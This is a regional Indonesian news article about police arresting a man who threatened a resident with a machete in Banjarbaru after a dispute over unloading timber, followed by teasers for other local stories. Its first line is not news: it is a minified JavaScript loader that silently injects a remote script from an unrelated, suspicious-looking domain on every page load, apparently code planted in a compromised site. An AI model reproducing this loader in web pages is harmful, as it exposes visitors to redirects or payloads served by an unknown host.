(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Seorang laki-laki berinisial DR (56) alias Rambo pakai parang mengancam seorang warga di Jalan Jurusan Pelaihari, Liang Anggang, Kota Banjarbaru.
Peristiwa pengancaman Rambo, warga Jalan Peramuan Komplek Tamara Permai Indah, Kelurahan Landasan Ulin Tengah yang menggunakan sebilah parang itu terjadi di kawasan Jalan Kelurahan RT 009 RW 003, Liang Anggang, Kota Banjarbaru pada Jumat (12/8/2022) sekitar pukul 01.30 Wita.
Kapolsek Liang Anggang AKP Yuda Kumoro Pardede melalui Kasi Humas Polsek Liang Anggang Aipda Kardi Gunadi mengatakan, saat itu pelapor sedang tidur di atas kendaraannya dan kemudian dihampiri oleh Rambo dengan menenteng sebilah parang.
“Rambo mendatangi pelapor sambil memegang parang dengan berkata timpas kah (Bacok, red) karena ketakutan pelapor dan satu saksi menjauh dari lokasi kejadin,” ujar Aipda Kardi Gunadi, Selasa (16/8/2022) siang.
Baca juga: ‘Alarm’ HIV/AIDS di Banjarbaru, Sebagian Penderita Belum Terdeteksi
Aipda Kardi mengatakan kronologi kejadi berawal dari kesalahpahaman antara Rambo dan pelapor. Terkait pekerjaan bongkar muat kayu yang kemudian tersulutnya emosi Rambo.“Pelaku melakukan pengancaman terhadap pelapor, karena adanya kesalahpahaman antara pelaku dan pelapor, yaitu masalah bongkar kayu karena pelaku saat itu baru saja menurunkan kayu, sedangkan pelapor sudah berkali-kali, sehingga pelaku langsung emosi kepada korban, dan adapun maksud dan tujuan pelaku mengancam hanya ingin menakut-nakuti saja,” bebernya.
Menanggapi laporan tersebut, Kapolsek Liang Anggang menerjunkan Macan Barbar yang dipimpin Aiptu Deden A Lesmana, kemudian berhasil meringkus Rambo di rumahnya Jalan Kelurahan.
“Kini Rambo dan barang bukti sebilah parang yang digunakan untuk mengancam korban sudah diamankan di Mapolsek Liang Anggang,” katanya.
Berdasarkan tindakannya, Rambo terjerat Pasal 2 ayat (1) UU Darurat No. 12 tahun 1951 atau Pasal 335 KUHP. (Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More
KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More
This website uses cookies.